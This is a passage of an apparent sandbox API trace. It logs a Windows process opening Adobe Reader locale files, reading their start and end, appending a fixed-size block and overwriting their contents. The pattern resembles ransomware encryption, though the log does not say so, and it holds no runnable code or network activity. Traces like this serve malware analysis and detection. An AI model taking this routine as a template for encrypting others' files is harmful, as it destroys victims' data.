nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2a0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2a0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0040.947] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f300*=0) returned 0x0 [0040.947] WriteFile (in: hFile=0x1b0, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2a0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x2a0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0040.947] CloseHandle (hObject=0x1b0) returned 1 [0040.947] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Acroform.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\acroform.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.948] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.948] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x61200 [0040.948] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.948] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.948] ReleaseMutex (hMutex=0x128) returned 1 [0040.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.948] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.TUR", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.TUR", lpUsedDefaultChar=0x0) returned 12 [0040.948] ReadFile (in: hFile=0x1b0, lpBuffer=0x2805cf8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2805cf8*, lpNumberOfBytesRead=0x2a0f278*=0x8000, lpOverlapped=0x0) returned 1 [0040.966] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x60200 [0040.966] ReadFile (in: hFile=0x1b0, lpBuffer=0x2736a68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2736a68*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.972] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x60200 [0040.972] WriteFile (in: hFile=0x1b0, lpBuffer=0x280dd28*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280dd28*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.972] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0040.972] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2a0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0040.972] CloseHandle (hObject=0x1b0) returned 1 [0040.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\MakeAccessible.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\makeaccessible.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0040.973] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.973] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x11c00 [0040.973] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0040.973] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.973] ReleaseMutex (hMutex=0x128) returned 1 [0040.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0040.973] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MakeAccessible.TUR", cchWideChar=18, lpMultiByteStr=0x1e789ec, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MakeAccessible.TUR", lpUsedDefaultChar=0x0) returned 18 [0040.973] ReadFile (in: hFile=0x1b0, lpBuffer=0x276e358, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.007] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x10c00 [0041.007] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.011] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x10c00 [0041.011] WriteFile (in: hFile=0x1b0, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.011] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.011] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.012] CloseHandle (hObject=0x1b0) returned 1 [0041.012] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\tr_TR\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\tr_tr\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.012] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.012] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x9270 [0041.012] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.012] ReleaseMutex (hMutex=0x128) returned 1 [0041.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0041.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e630cc, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0041.012] ReadFile (in: hFile=0x1b0, lpBuffer=0x276e358, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8270 [0041.040] ReadFile (in: hFile=0x1b0, lpBuffer=0x2737a98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x2737a98*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.066] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x8270 [0041.066] WriteFile (in: hFile=0x1b0, lpBuffer=0x2770388*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770388*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.066] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.066] WriteFile (in: hFile=0x1b0, lpBuffer=0x276e358*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.066] CloseHandle (hObject=0x1b0) returned 1 [0041.067] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Checkers.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\checkers.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.067] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.067] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x1e800 [0041.067] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.067] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.067] ReleaseMutex (hMutex=0x128) returned 1 [0041.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.067] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.UKR", cchWideChar=12, lpMultiByteStr=0x1e633ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.UKR", lpUsedDefaultChar=0x0) returned 12 [0041.067] ReadFile (in: hFile=0x1b0, lpBuffer=0x276e358, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x276e358*, lpNumberOfBytesRead=0x2a0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.112] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1d800 [0041.112] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.194] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x1d800 [0041.194] WriteFile (in: hFile=0x1b0, lpBuffer=0x276c358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276c358*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.194] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.194] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2a0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.194] CloseHandle (hObject=0x1b0) returned 1 [0041.194] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\RdLang32.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\rdlang32.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x14d800 [0041.195] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.195] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.195] ReleaseMutex (hMutex=0x128) returned 1 [0041.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.195] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.UKR", cchWideChar=12, lpMultiByteStr=0x1e62fec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.UKR", lpUsedDefaultChar=0x0) returned 12 [0041.195] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0xf000, lpOverlapped=0x0) returned 1 [0041.218] ReadFile (in: hFile=0x1b0, lpBuffer=0x27bfb38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.238] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x14c800 [0041.238] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.258] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x14c800 [0041.259] WriteFile (in: hFile=0x1b0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.259] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.259] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0041.259] WriteFile (in: hFile=0x1b0, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.259] CloseHandle (hObject=0x1b0) returned 1 [0041.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\uk_UA\\Weblink.UKR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\uk_ua\\weblink.ukr"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.260] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.260] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x6c00 [0041.260] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.260] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.260] ReleaseMutex (hMutex=0x128) returned 1 [0041.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.UKR", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.UKR", lpUsedDefaultChar=0x0) returned 11 [0041.260] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.282] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c00 [0041.282] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.299] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x5c00 [0041.299] WriteFile (in: hFile=0x1b0, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.300] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.300] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.300] CloseHandle (hObject=0x1b0) returned 1 [0041.300] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\EScript.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\escript.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.301] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.301] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x7400 [0041.301] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.301] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.301] ReleaseMutex (hMutex=0x128) returned 1 [0041.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0041.301] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.CHS", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.CHS", lpUsedDefaultChar=0x0) returned 11 [0041.301] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.322] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6400 [0041.322] ReadFile (in: hFile=0x1b0, lpBuffer=0x1d82048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2a0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesRead=0x2a0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.338] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2a0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f2e8*=0) returned 0x6400 [0041.338] WriteFile (in: hFile=0x1b0, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2a0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.338] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2a0f2bc*=0) returned 0x0 [0041.338] WriteFile (in: hFile=0x1b0, lpBuffer=0x1d82048*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2a0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d82048*, lpNumberOfBytesWritten=0x2a0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0041.338] CloseHandle (hObject=0x1b0) returned 1 [0041.338] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Search.CHS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_cn\\search.chs"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0041.339] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x0 [0041.339] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2a0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2a0f8c0*=0) returned 0x3a00 [0041.339] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, 